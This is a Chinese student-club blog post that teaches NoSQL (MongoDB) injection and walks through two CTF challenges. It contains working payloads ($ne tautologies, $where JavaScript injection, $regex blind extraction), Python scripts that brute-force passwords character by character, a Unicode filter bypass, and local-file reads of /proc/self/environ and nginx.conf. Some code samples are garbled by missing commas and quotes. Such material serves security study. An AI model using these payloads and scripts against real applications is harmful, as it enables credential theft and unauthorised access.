皮蛋厂的学习日记 | 2022.4.30 Nosql

admin 2022年5月1日13:52:08CTF专场评论5 views9567字阅读31分53秒阅读模式


  • 2020级 Newiy_Gnaw Nosql

    • NoSQL注入简介

    • php MongoDB注入

    • 题目

    • 学习参考

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~


2020级 Newiy_Gnaw Nosql

之前就接触过,不过一直没有深入的理解与运用,这次做到了题,现在才来好好做个总结

关于概念和语法的东西就不写了,直接看到注入方式

NoSQL注入简介

NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL 注入有所区别。使用传统的SQL注入,攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句(或其他SQL语句)。

换句话说,SQL 注入使攻击者可以在数据库中 SQL 执行命令。

与关系数据库不同,NoSQL 数据库不使用通用查询语言。NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。

分类

有两种 NoSQL 注入分类的方式:

第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。

第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。

  • 重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

  • 联合查询注入

联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

  • JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

  • 盲注

当页面没有回显时,那么我们可以通过

$regex 正则表达式来达到和传统 SQL 注入中

substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

php MongoDB注入

重言式注入

这是验证网站是否存在MongoDB注入的第一步。

利用

executeQuery直接查询:

<?php
# 连接数据库
$manager = new MongoDBDriverManager("mongodb://localhost:27017");
$uname = $_GET['username'];
$pwd = $_GET['password'];
# 查询语句
$query = new MongoDBDriverQuery(array(
    'uname' => $uname,
    'pwd' => $pwd
));
# 执行语句
$result = $manager->executeQuery('test.users'$query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo 'username:' . $user['uname'] . '<br>';
        echo 'password:' . $user['pwd'] . '<br>';
    }
}
else{
        echo 'Not Found';
}
?>

executeQuery函数是一个查询数据函数

皮蛋厂的学习日记 | 2022.4.30 Nosql

可以看到,传入的参数是数组

传递的参数是一个数组,比较安全。这种形式叫 ODM,它会帮你过滤数据,所以一般不用担心原语句被破坏。

ORM 对应关系型数据库,如 MySQL;ODM 对应文档型数据库,如 MongoDB。

用公共用户( ca01h ,即师傅的id)输入,显示出username和password

数据的处理过程如图(借用一下师傅的图)

皮蛋厂的学习日记 | 2022.4.30 Nosql

PHP 允许最终用户通过将 URL 参数更改为带有方括号的参数来将 GET 查询字符串输入更改为数组

payload:

?username[$ne]=1&password[$ne]=1

$ne为不等于,not equal

这样可以查出来所有用户

payload说明:由于php松散的数据特性,如果输入value=1,就是输入了一个值为1的数据。如果输入

value[$ne]=1也就意味着

value=array($ne=>1),在 MongoDB 中, 原来一个单一的

{"value":1} 查询就变成了一个

{"value":{$ne:1} 条件查询。这样就满足了永真的条件。同样的,我们也可以使用

username[$gt]=&password[$gt]=作为 payload 进行攻击。

联合查询注入

原理依旧是字符串拼接

示例代码:

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

payload:

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'

相当于

{ username: 'admin'$or: [ {}, {'a''a', password: '' }], $comment'successful MongoDB injection'' }

但是现在无论是 PHP 的 MongoDB driver 还是 node.js 的 mongoose 都必须要求查询条件必须是一个数组或者 query 对象了,因此这种方法基本上用不到

JavaScript****注入

$where 操作符

在 MongoDB 中 where 操作符使用

map-reduce

group命令可以访问到 mongo shell 中的全局函数和属性。

<?php
$manager = new MongoDBDriverManager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";
$query = new MongoDBDriverQuery(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users'$query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo 'username: '.$user['uname']."<br>";
        echo 'password: '.$user['pwd']."<br>";
    }
}
else{
    echo 'Not Found';
}
?>

MongoDB 2.4 版本之前,可以访问到 db 属性:

?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1

相当于

$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";

盲注

在MongoDB中用

$regex正则表达式逐个提取字符

已知某一个用户名的前提下判断的密码长度:

?username[$eq]=abcd&password[$regex]=.{5}

逐位提取字符:

# url格式
?username[$eq]=abcd&password[$regex]=c.{4}
?username[$eq]=abcd&password[$regex]=ca.{3}
?username[$eq]=abcd&password[$regex]=ca0.{2}
?username[$eq]=abcdh&password[$regex]=c.*
?username[$eq]=abcd&password[$regex]=ca.*
# json格式
{"username": {"$eq""abcd"}, "password": {"$regex""^c" }}
{"username": {"$eq""abcd"}, "password": {"$regex""^ca" }}
{"username": {"$eq""abcd"}, "password": {"$regex""^ca0" }}

GET盲注脚本

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username = 'admin'
password = ''
target = 'http://127.0.0.1/mongo/test.php'
while True:
    for c in string.printable:
        if c not in ['*''+''.''?''|''#''&'']:
            payload = '
?username=%s&password[$regex]=^%s' % (username, password + c)
            r = requests.get(target + payload)
            if '
OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

POST盲注脚本

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
target = 'http://127.0.0.1/mongo/test.php'
headers = {'content-type''application/json'}
while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(target, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

题目

[2021祥云杯]Package Manager 2021

打开页面

皮蛋厂的学习日记 | 2022.4.30 Nosql

提示:努力创建自己的包并将其提交给管理员:)

注册一个用户登录,有一个提交package的功能

随便写了一个包

皮蛋厂的学习日记 | 2022.4.30 Nosql

到了一个这样的页面

皮蛋厂的学习日记 | 2022.4.30 Nosql

在/auth有sql注入

router.post('/auth', async (req, res) => {
    let { token } = req.body;
    if (token !== '' && typeof (token) === 'string') {
        if (checkmd5Regex(token)) {
            try {
                let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()

调用了一个checkmd5Regex

utils.js文件中可以发现这里存在一个

checkmd5Regex的waf

const checkmd5Regex = (token: string) => {
  return /([a-fd]{32}|[A-Fd]{32})/.exec(token);
}

没有加上

`^,所以可以绕过

sql布尔注入:

import requests
import string
 
url="http://0b48abc1-6069-445b-a187-54a0edbc8c7a.node4.buuoj.cn:81/auth"
headers={
    "Cookie""session=s:43UCQxzqHneiwEF-JP_ftZ0Aw1upXuCF.t58XyJ4BQ4rmP8Da+VdQzkHtAd1r4EkRUs9h/Zim3os",
    "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
    "Referer""http://0b48abc1-6069-445b-a187-54a0edbc8c7a.node4.buuoj.cn:81/packages/submit",
    "Origin""http://0b48abc1-6069-445b-a187-54a0edbc8c7a.node4.buuoj.cn:81",
    "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Upgrade-Insecure-Requests""1",
}
 
flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        #print(payload)
        data={
            "_csrf":"2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8",
            "token":payload
        }
 
 
        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        #print(r.text)
        if "Found. Redirecting to" in r.text:
            #print(payload)
            flag+=j
            print(flag)
            break

得到

[email protected]#&@&@efefef*@((@))grgregret3r

所以把这个当作密码输入

皮蛋厂的学习日记 | 2022.4.30 Nosql
皮蛋厂的学习日记 | 2022.4.30 Nosql

[GKCTF 2021]hackme

首先有两个提示

提示1:你可能需要unicode

提示2:注意server和其配置文件

打开页面,是一个登录框

皮蛋厂的学习日记 | 2022.4.30 Nosql

查看页面源代码,发现有提示

皮蛋厂的学习日记 | 2022.4.30 Nosql

看到别人的笔记源码有php头,不知道为什么这个靶机没有。所以是php的nosql注入

当然还是先从重言式注入开始

{"username":{“$ne,"admin"},"password":{"$ne":"admin"}}

皮蛋厂的学习日记 | 2022.4.30 Nosql

发现被过滤了,就用提示unicode编码绕过

{"username":{“u0024u006eu0065,"admin"},"password":{"u0024u006eu0065":"admin"}}

皮蛋厂的学习日记 | 2022.4.30 Nosql

无回显

而不是像比赛靶机那样回显

{"msg":"登录了,但没完全登录"}

这样很有可能是盲注

import string
import requests

characters = string.ascii_letters + string.digits  # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\u0065\u0071": "admin"}, "password": {"$\u0072\u0065\u0067\u0065\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:26310/login.php"

for i in range(50):
    for character in characters:
        response = requests.post(url=url, data=(payload % (password + character)),
                                 headers={"Content-Type""application/json; charset=UTF-8"})
        responseContent = response.content.decode()
        print(f"[+] Trying {character} with response {responseContent}")
        response.close()
        if "登录了" in responseContent:
            password += character
            print(f"[*] Found new character {character} with password now which is {password}")
            break

得到admin密码为42276606202db06ad1f29ab6b4a1307f

成功登录后

皮蛋厂的学习日记 | 2022.4.30 Nosql

这里说有php文件,猜测任意文件读取

抓包试一下

皮蛋厂的学习日记 | 2022.4.30 Nosql

回显flag is in the Intranet,这就是打内网了

这就用了第二个提示,注意server和其配置文件

file=/proc/self/environ(LFI通过proc/self/environ直接获取webshell)

皮蛋厂的学习日记 | 2022.4.30 Nosql

先继续看他的配置文件,nginx配置文件/usr/local/nginx/conf/nginx.conf

(这个时候靶机销毁了,竟然只有一个小时的时间,于是重新开启一次)

皮蛋厂的学习日记 | 2022.4.30 Nosql
string(32) "/usr/local/nginx/conf/nginx.conf"
worker_processes  1;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    server {
        listen       80;
        error_page 404 404.php;
        root /usr/local/nginx/html;
        index index.htm index.html index.php;
        location ~ .php$ {
           root           /usr/local/nginx/html;
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index  index.php;
           fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
           include        fastcgi_params;
        }

    }

resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;


    # weblogic
    server {
        listen       80;
        server_name  weblogic;
        location / {
            proxy_set_header Host $host;
            set $backend weblogic;
            proxy_pass http://$backend:7001;
        }
    }
}

可以发现服务端使用的 Nginx 版本为 1.17.6,而 Ngnix < 1.17.7 存在请求走私的漏洞

剩下涉及到的都是内网的知识了,跟这个知识点无关,以后再学吧

学习参考

https://cloud.tencent.com/developer/article/1602092

https://blog.csdn.net/cjdgg/article/details/121435835


原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.4.30 Nosql

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日13:52:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  皮蛋厂的学习日记 | 2022.4.30 Nosql http://cn-sec.com/archives/966264.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: